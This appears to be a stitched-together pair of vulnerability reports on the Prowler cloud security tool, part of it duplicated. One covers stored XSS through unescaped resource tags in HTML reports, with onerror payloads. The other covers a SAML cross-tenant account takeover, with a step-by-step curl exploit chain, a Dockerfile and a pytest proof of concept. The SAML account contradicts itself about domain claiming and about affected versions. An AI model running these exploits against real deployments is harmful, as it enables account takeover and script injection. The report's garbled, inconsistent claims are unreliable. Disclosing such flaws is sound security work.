The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

• the organization_slug from the ACS route
• the SAMLConfiguration.email_domain
• the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because reject_idp_initiated_sso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences:

• Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)
• Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant
• Lateral movement into any additional tenants the victim belongs to via the token switch endpoint
• Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).
#
# Build context must be the parent directory:
#   docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

# Install system packages required for:
#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
#   - psycopg2: PostgreSQL client headers
#   - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    g++ \
    make \
    git \
    libxml2-dev \
    libxmlsec1-dev \
    libxmlsec1-openssl \
    pkg-config \
    libtool \
    libxslt1-dev \
    python3-dev \
    && rm -rf /var/lib/apt/lists/*

# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/

# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc_vuln001.py

WORKDIR /prowler/api/src/backend

# Set up environment variables for the test run.
# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.
ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO_SETTINGS_MODULE=config.django.testing
ENV POSTGRES_HOST=postgres
ENV POSTGRES_USER=prowler_admin
ENV POSTGRES_PASSWORD=prowler_password
ENV POSTGRES_DB=prowler_test_db
ENV POSTGRES_PORT=5432
ENV SECRET_KEY=poc-test-secret-key-not-for-production
ENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY_HOST=localhost
ENV VALKEY_PORT=6379
ENV VALKEY_PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J_USER=neo4j
ENV NEO4J_PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO_SENTRY_DSN=""

CMD ["python", "-m", "pytest", "poc_vuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product:  toniblyx/prowler v5.30.0 (commit c2cef99)
CWE:      CWE-287 - Improper Authentication
CVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location:
    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)
    api/src/backend/config/settings/social_login.py  lines 23, 25, 78

Root cause:
    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email
    from the assertion and calls get_user_by_email() which does a GLOBAL user
    table lookup with no tenant-scope or domain-ownership check.  If a user
    with that email already exists, sociallogin.connect() links the attacker's
    SAML session to that account - giving the attacker control of the victim.

Attack chain:
    1. Attacker registers a Prowler account and creates a tenant (normal user).
    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.
       models.py only validates format/uniqueness - no ownership proof.
    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
       attacker's certificate, asserting NameID=victim@victim.com.
    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
       pre_social_login.  The adapter looks up victim@victim.com globally and
       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.
    5. views.py issues a SAMLToken (JWT) for the victim account.
    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database.  sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""

import pytest
from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get_user_model

from api.adapters import ProwlerSocialAccountAdapter

User = get_user_model()

VICTIM_EMAIL = "victim@victim.com"
VICTIM_DOMAIN = "victim.com"
ATTACKER_EMAIL = "attacker@evil-corp.com"


# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
    width = 70
    print(f"\n{'=' * width}")
    print(f"  {title}")
    print(f"{'=' * width}")


# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------

@pytest.mark.django_db
class TestSAMLDomainClaimingAccountTakeover:
    """
    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
    a live PostgreSQL test database created by pytest-django.

    The test creates a victim user in the database, then simulates the exact
    HTTP flow an attacker would trigger via a crafted SAMLResponse.
    """

    def test_attacker_saml_session_links_to_victim_account(self, rf):
        """
        Verify that pre_social_login() links the attacker's SAML sociallogin
        to an existing victim account without ANY domain-ownership check.

        Expected outcome (vulnerability confirmed):
            sociallogin.connect(request, victim_user) is called where
            victim_user.email == VICTIM_EMAIL and victim_user was created
            independently of the SAML session - i.e. the adapter does NOT
            verify that the SAML registrant owns victim.com.
        """
        # ---------------------------------------------------------------
        # STEP 1 - Create the victim's pre-existing account in the database.
        #          In a real attack the victim signed up with email+password
        #          and has an existing Prowler tenant membership.
        # ---------------------------------------------------------------
        section("STEP 1: Create victim account in database")

        victim_user = User.objects.create_user(
            name="Victim User",
            email=VICTIM_EMAIL,
            password="VictimS3cret!",
        )
        # Confirm the user was actually persisted (real DB round-trip)
        fetched = User.objects.get(email=VICTIM_EMAIL)
        assert fetched.id == victim_user.id, "Victim user must exist in database"

        print(f"[+] Victim user created in DB:")
        print(f"    email = {victim_user.email}")
        print(f"    id    = {victim_user.id}")

        # ---------------------------------------------------------------
        # STEP 2 - Simulate the attacker's SAML flow.
        #
        #   a. Attacker previously registered a SAMLConfiguration for
        #      email_domain='victim.com' via POST /api/v1/saml-config.
        #      (No domain ownership proof is required - see models.py:2100)
        #
        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed
        #      with the attacker's certificate, asserting:
        #        NameID = victim@victim.com
        #
        #   c. allauth processes the ACS POST and calls pre_social_login()
        #      before creating/updating the social account record.
        #
        #   We represent the processed SAMLResponse as an allauth SocialLogin
        #   object.  The 'connect' method is spied upon to capture arguments.
        # ---------------------------------------------------------------
        section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

        # Build the sociallogin object that allauth would construct after
        # validating the SAMLResponse signature (which uses the *attacker's*
        # certificate - no server-side cert pinning for victim.com).
        attacker_saml_login = MagicMock(spec=SocialLogin)
        attacker_saml_login.provider = MagicMock()
        attacker_saml_login.provider.id = "saml"          # Provider discriminator
        attacker_saml_login.account = MagicMock()
        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path
        attacker_saml_login.user = MagicMock()
        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
        # This is the email that pre_social_login() will trust without verification.
        attacker_saml_login.user.email = VICTIM_EMAIL
        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments

        # Simulate the ACS request (POST to the victim.com ACS endpoint)
        acs_request = rf.post(
            f"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/",
            data={"SAMLResponse": "<attacker-signed-base64>"},
        )

        print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
        print(f"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/")
        print(f"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)")

        # ---------------------------------------------------------------
        # STEP 3 - Execute the vulnerable adapter method.
        #
        #   api/src/backend/api/adapters.py lines 17-25:
        #
        #   def pre_social_login(self, request, sociallogin):
        #       email = sociallogin.account.extra_data.get("email")  # line 19
        #       if sociallogin.provider.id == "saml":
        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID
        #       if email:
        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup
        #           if existing_user:
        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED
        # ---------------------------------------------------------------
        section("STEP 3: Execute pre_social_login (vulnerable code path)")

        adapter = ProwlerSocialAccountAdapter()
        print(f"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()")
        print(f"    File: api/src/backend/api/adapters.py:17")

        adapter.pre_social_login(acs_request, attacker_saml_login)

        # ---------------------------------------------------------------
        # STEP 4 - Verify the attack succeeded.
        # ---------------------------------------------------------------
        section("STEP 4: Verify attack outcome")

        assert attacker_saml_login.connect.called, (
            "FAIL: sociallogin.connect() was NOT called - "
            "the attack path did not execute"
        )

        call_args = attacker_saml_login.connect.call_args[0]
        _, connected_user = call_args   # connect(request, existing_user)

        print(f"[!] sociallogin.connect() was called!")
        print(f"    connected user email: {connected_user.email}")
        print(f"    connected user id:    {connected_user.id}")
        print(f"    victim user id:       {victim_user.id}")

        # The connected user must be the VICTIM (looked up from global DB)
        assert connected_user.email == VICTIM_EMAIL, (
            f"FAIL: connect() was called with {connected_user.email!r}, "
            f"expected {VICTIM_EMAIL!r}"
        )
        assert str(connected_user.id) == str(victim_user.id), (
            f"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}"
        )

        # Confirm no domain-ownership check happened:
        # The adapter does not inspect the SAML configuration to verify that
        # the sociallogin's tenant registered victim.com before accepting the email.
        section("RESULT: VULNERABILITY CONFIRMED")

        print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
        print()
        print(f"  Root cause (adapters.py:21-25):")
        print(f"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}")
        print(f"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope")
        print(f"    sociallogin.connect(request, existing_user)  # links attacker session to victim")
        print()
        print(f"  Contributing settings (social_login.py):")
        print(f"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded")
        print(f"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed")
        print()
        print(f"  Impact:")
        print(f"    - Attacker obtains JWT token for {VICTIM_EMAIL}")
        print(f"    - Attacker can access victim's cloud security findings")
        print(f"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
        print(f"    - No victim interaction required (IdP-initiated SSO enabled)")
        print()
        print(f"  Evidence (this test run):")
        print(f"    - Victim user id in DB:            {victim_user.id}")
        print(f"    - User passed to connect():        {connected_user.id}")
        print(f"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}")
        print(f"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.